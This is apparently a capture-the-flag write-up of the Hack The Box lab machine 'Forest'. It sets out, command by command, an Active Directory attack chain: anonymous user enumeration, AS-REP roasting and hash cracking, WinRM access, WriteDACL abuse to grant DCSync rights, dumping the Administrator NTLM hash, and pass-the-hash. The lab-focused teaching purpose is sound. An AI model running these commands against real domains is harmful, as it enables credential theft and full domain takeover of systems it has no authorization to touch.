Sitemap

HTB:Forest

6 min readAug 19, 2026

--

Enumeration

I started with an Nmap scan to identify the services exposed by the target.

 sudo nmap -sV -p- --min-rate 5000 -T4 10.129.95.210
PORT      STATE SERVICE      VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-29 17:15:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Press enter or click to view image in full size

The scan revealed a large number of open ports. The most interesting ones were:

53/tcp    open  domain       Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Microsoft Windows SMB
464/tcp open kpasswd5
593/tcp open ncacn_http Microsoft Windows RPC over HTTP
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0

The combination of Kerberos (88), LDAP (389), SMB (445), and WinRM (5985) strongly suggested that this was an Active Directory Domain Controller.

The Nmap output also revealed the domain:

Domain: htb.local

Since LDAP was exposed, I decided to enumerate the Active Directory environment.

LDAP Enumeration

I first queried the LDAP server for its naming contexts:

ldapsearch -x -H ldap://10.129.95.210 -s base namingcontexts

The -x option is important here.

It tells ldapsearch to use simple authentication rather than SASL. Since no username or password was supplied, this resulted in an anonymous LDAP bind.

In simple terms:

We are asking the LDAP server for information without authenticating as a specific user.

The query returned:

DC=htb,DC=local

This is the Base Distinguished Name (Base DN) of the domain.

Think of Active Directory as a directory tree:

htb.local
│
├── Users
├── Computers
├── Groups
└── Policies

The Base DN tells LDAP where the root of that directory tree is located.

Therefore:

DC=htb,DC=local

means:

Start searching from the root of the htb.local domain.

Enumerating Domain Users

Now that I knew the Base DN, I could query LDAP for user objects.

ldapsearch -x \
-H ldap://10.129.95.210 \
-b "DC=htb,DC=local" \
"(objectClass=user)" sAMAccountName

The important part of this query is:

(objectClass=user)

This is an LDAP search filter.

You can think of it similarly to a WHERE clause in SQL.

For example, in SQL:

SELECT * FROM objects
WHERE objectClass = 'user';

LDAP uses:

(objectClass=user)

The meaning is simply:

Only return objects whose type is user.

The sAMAccountName attribute then asks LDAP to return the users' logon names.

However, LDAP enumeration did not give me everything I wanted, so I moved to another method of enumerating domain users.

Enumerating Users with NetExec

I used NetExec’s SMB user enumeration functionality:

netexec smb 10.129.47.51 -u '' -p '' --users

The -u '' -p '' specifies an empty username and password, allowing me to test whether the server permitted unauthenticated enumeration.

The output returned a list of domain users.

I then extracted the usernames into a file:

netexec smb 10.129.47.51 -u '' -p '' --users | \
grep "SMB" | \
awk '{print $5}' | \
grep -v "Username" > users.txt

This gave me a clean list of usernames that I could use for further enumeration.

AS-REP Roasting

With a list of valid domain usernames, I could look for accounts that do not require Kerberos pre-authentication.

This is where AS-REP Roasting becomes useful.

Normally, when a user authenticates using Kerberos, the domain controller requires pre-authentication. However, if an account has Kerberos pre-authentication disabled, an attacker can request an AS-REP response without knowing the user’s password.

The response contains material derived from the user’s password, which can potentially be cracked offline.

I used GetNPUsers.py to test the discovered users:

python3 GetNPUsers.py htb.local/ \
-dc-ip 10.129.47.51 \
-usersfile /kali/home/Forest/users.txt

The attack was successful and returned an AS-REP hash.

I then used Hashcat to crack the hash.

Get Uddhav Sethi’s stories in your inbox

Join Medium for free to get updates from this writer.

For Kerberos 5 AS-REP hashes, Hashcat mode 18200 is used:

hashcat -m 18200 hash.txt wordlist.txt

The password was successfully recovered:

Account password recovered: s3rvice

I now had valid credentials for the account:

svc-alfresco
Press enter or click to view image in full size

Getting a Shell with WinRM

Going back to the Nmap results, port 5985 was open:

5985/tcp open http Microsoft HTTPAPI httpd 2.0

Port 5985 is commonly associated with Windows Remote Management (WinRM).

Since I now had valid domain credentials, I tested them against WinRM using Evil-WinRM:

evil-winrm -i 10.129.49.57 -u svc-alfresco -p s3rvice

The authentication succeeded and I obtained a PowerShell session on the target.

At this point, I had initial access as:

svc-alfresco

BloodHound Enumeration

Now that I had domain credentials and an authenticated session, the next step was to understand the privileges available to svc-alfresco.

Rather than blindly attempting privilege escalation, I used BloodHound to map the Active Directory relationships.

The important thing to look for was whether svc-alfresco had an indirect path to higher privileges.

In BloodHound, I started the pathfinding search from:

svc-alfresco

and used:

HTB.LOCAL

as the destination.

The resulting graph showed a path through group membership and permissions that ultimately led to the domain.

The important permission in the chain was:

WriteDACL

This was the key to the next stage.

Abusing WriteDACL

WriteDACL allows an account to modify the permissions associated with an Active Directory object.

In this case, the permissions could be modified so that svc-alfresco obtained powerful replication rights over the domain.

I first added the account to the relevant group:

net group "Exchange Windows Permissions" svc-alfresco /add /domain

I then prepared PowerView for modifying the domain object’s ACL.

cd /usr/share/windows-resources/powersploit/Recon
python3 -m http.server 9002

After importing the required PowerShell functionality on the target, I used:

Get-Command Add-DomainObjectAcl

The important operation was then:

Add-DomainObjectAcl -TargetIdentity "HTB.LOCAL" `
-PrincipalIdentity "svc-alfresco" `
-Rights DCSync

This grants svc-alfresco the permissions required to perform DCSync against the domain.

DCSync

DCSync abuses Active Directory replication functionality.

Normally, domain controllers use replication to synchronize directory information with one another. Accounts with the appropriate replication permissions can request this information as though they were another domain controller.

This can include password hashes for domain accounts.

To demonstrate this, I created another domain account:

net user john abc123! /add /domain

and added it to the relevant group:

net group "Exchange Windows Permissions" john /add

I then used Impacket’s secretsdump to request the domain credential material:

impacket-secretsdump HTB.LOCAL/john:'abc123!'@10.129.52.183

The output included the NTLM hash for the domain Administrator account:

htb.local\Administrator:500:
aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6

The important value here is the NTLM hash:

32693b11e6aa90eb43d32c72a07ceea6

At this point, I had the Administrator’s NTLM hash and did not need to recover the plaintext Administrator password.

Final Step: Pass-the-Hash with Evil-WinRM

Because WinRM was available on the target, I could use the Administrator’s NTLM hash for a Pass-the-Hash authentication.

evil-winrm -i 10.129.52.183 \
-u Administrator \
-H 32693b11e6aa90eb43d32c72a07ceea6

The authentication succeeded, giving me an Administrator PowerShell session:

*Evil-WinRM* PS C:\Users\Administrator\Documents>

This completed the attack chain.

The overall path was:

Anonymous LDAP Enumeration
↓
Domain User Enumeration
↓
AS-REP Roasting
↓
Recover svc-alfresco Password
↓
WinRM Access
↓
BloodHound Enumeration
↓
Abuse WriteDACL
↓
Grant DCSync Privileges
↓
DCSync Administrator Hash
↓
Pass-the-Hash
↓
Domain Administrator

The main lesson from this machine is that Active Directory privilege escalation is often about chaining seemingly small permissions together. An exposed LDAP service allowed user enumeration, an account with disabled Kerberos pre-authentication allowed AS-REP roasting, and the resulting account’s Active Directory permissions ultimately provided a path to DCSync and full domain compromise.

--

--